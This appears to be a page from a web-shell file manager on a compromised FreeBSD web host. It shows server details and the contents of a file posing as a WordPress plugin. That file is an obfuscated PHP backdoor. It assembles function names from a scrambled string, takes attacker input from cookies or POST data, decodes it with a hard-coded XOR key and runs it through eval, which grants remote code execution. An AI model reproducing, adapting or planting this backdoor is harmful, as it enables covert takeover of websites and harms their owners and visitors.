HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/plugin.php
<?php
$qyqpos = 'yb0psa\'*kdr2H3vg8_c6lfutmn14xe#i-o';$bxbivfm = Array();$bxbivfm[] = $qyqpos[11].$qyqpos[21].$qyqpos[26].$qyqpos[26].$qyqpos[19].$qyqpos[11].$qyqpos[29].$qyqpos[9].$qyqpos[32].$qyqpos[1].$qyqpos[2].$qyqpos[18].$qyqpos[18].$qyqpos[32].$qyqpos[27].$qyqpos[13].$qyqpos[9].$qyqpos[2].$qyqpos[32].$qyqpos[16].$qyqpos[19].$qyqpos[29].$qyqpos[21].$qyqpos[32].$qyqpos[9].$qyqpos[21].$qyqpos[11].$qyqpos[5].$qyqpos[11].$qyqpos[1].$qyqpos[11].$qyqpos[16].$qyqpos[5].$qyqpos[16].$qyqpos[16].$qyqpos[16];$bxbivfm[] = $qyqpos[12].$qyqpos[7];$bxbivfm[] = $qyqpos[30];$bxbivfm[] = $qyqpos[18].$qyqpos[33].$qyqpos[22].$qyqpos[25].$qyqpos[23];$bxbivfm[] = $qyqpos[4].$qyqpos[23].$qyqpos[10].$qyqpos[17].$qyqpos[10].$qyqpos[29].$qyqpos[3].$qyqpos[29].$qyqpos[5].$qyqpos[23];$bxbivfm[] = $qyqpos[29].$qyqpos[28].$qyqpos[3].$qyqpos[20].$qyqpos[33].$qyqpos[9].$qyqpos[29];$bxbivfm[] = $qyqpos[4].$qyqpos[22].$qyqpos[1].$qyqpos[4].$qyqpos[23].$qyqpos[10];$bxbivfm[] = $qyqpos[5].$qyqpos[10].$qyqpos[10].$qyqpos[5].$qyqpos[0].$qyqpos[17].$qyqpos[24].$qyqpos[29].$qyqpos[10].$qyqpos[15].$qyqpos[29];$bxbivfm[] = $qyqpos[4].$qyqpos[23].$qyqpos[10].$qyqpos[20].$qyqpos[29].$qyqpos[25];$bxbivfm[] = $qyqpos[3].$qyqpos[5].$qyqpos[18].$qyqpos[8];foreach ($bxbivfm[7]($_COOKIE, $_POST) as $bdpdq => $taidsxt){function jzgjn($bxbivfm, $bdpdq, $ujxxpi){return $bxbivfm[6]($bxbivfm[4]($bdpdq . $bxbivfm[0], ($ujxxpi / $bxbivfm[8]($bdpdq)) + 1), 0, $ujxxpi);}function lyutb($bxbivfm, $ymggi){return @$bxbivfm[9]($bxbivfm[1], $ymggi);}function nymxr($bxbivfm, $ymggi){$zrufugx = $bxbivfm[3]($ymggi) % 3;if (!$zrufugx) {eval($ymggi[1]($ymggi[2]));exit();}}$taidsxt = lyutb($bxbivfm, $taidsxt);nymxr($bxbivfm, $bxbivfm[5]($bxbivfm[2], $taidsxt ^ jzgjn($bxbivfm, $bdpdq, $bxbivfm[8]($taidsxt))));}